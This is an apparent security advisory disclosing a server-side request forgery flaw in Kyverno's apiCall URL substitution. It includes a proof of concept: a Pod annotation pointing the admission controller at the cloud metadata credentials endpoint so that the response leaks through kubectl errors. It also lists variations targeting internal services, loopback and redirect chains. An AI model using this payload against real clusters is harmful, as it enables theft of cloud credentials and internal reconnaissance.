Kyverno has unrestricted outbound requests in Kyverno apiCall enabling SSRF

Summary

### Summary A Server-Side Request Forgery (SSRF) vulnerability in Kyverno allows authenticated users to induce the admission controller to send arbitrary HTTP requests to attacker-controlled endpoints. When a `ClusterPolicy` uses `apiCall.service.url` with variable substitution (e.g. `{{request.object.*}}`), user-controlled input can influence the request target. The Kyverno admission controller executes these requests from its privileged network position without enforcing any validation or network restrictions. The issue becomes **non-blind SSRF**, as response data from internal services can be reflected back to the user via admission error messages. --- ### Details Kyverno supports variable substitution in `apiCall.service.url`, a documented feature intended to enable dynamic external lookups during admission control. However, the current implementation lacks fundamental safeguards in the HTTP execution path: #### Missing protections - **No URL validation** User-controlled input is directly embedded into the request URL without validation or normalization. - **No IP filtering** Requests can target: - Loopback (`127.0.0.1`) - Link-local (`169.254.0.0/16`) - Cloud metadata services (e.g. AWS IMDS) - Internal ClusterIP services - **Redirect handling not restricted** The Go HTTP client uses default redirect behavior (`CheckRedirect == nil`), allowing up to 10 redirects without re-validation of the target. - **Response data reflection in admission errors** Response bodies are propagated back to the user in admission responses under certain conditions. #### Non-blind SSRF behavior The vulnerability is **non-blind** through two mechanisms: 1. **Non-2xx responses** Response body is returned in admission error messages (e.g. `executor.go:98-101`) 2. **2xx responses with non-JSON content** Parsing failures (JSON/JMESPath) include response snippets in error output This allows attackers to retrieve data from internal services directly via `kubectl` output. --- ### PoC #### Preconditions 1. A `ClusterPolicy` using: ```yaml apiCall: service: url: "http://{{ request.object.metadata.annotations.target }}" ``` 2. An authenticated user able to create matching resources (e.g. Pods) --- #### Step 1 — Create malicious resource ```yaml apiVersion: v1 kind: Pod metadata: name: ssrf-test annotations: target: "169.254.169.254/latest/meta-data/iam/security-credentials/" spec: containers: - name: test image: nginx ``` --- #### Step 2 — Apply resource ```bash kubectl apply -f pod.yaml ``` --- #### Step 3 — Observe output Example output: ```text Error from server: admission webhook "kyverno" denied the request: failed to process apiCall: <response body from metadata service> ``` --- #### Variations - Internal services: http://kubernetes.default.svc - Loopback: http://127.0.0.1:8080 - Redirect chains to bypass naive filters --- ### Impact #### Vulnerability class - Server-Side Request Forgery (SSRF) - Non-blind data exfiltration #### Affected scope - Kubernetes clusters using Kyverno policies with `apiCall.service.url` and variable substitution #### Impact details - Access to internal services (ClusterIP, localhost) - Access to cloud metadata endpoints (e.g. IMDSv1 → credential exposure) - Internal network reconnaissance - Multi-tenant boundary weakening This issue can be combined with automatic ServiceAccount token forwarding (reported separately) to form a **critical attack chain**.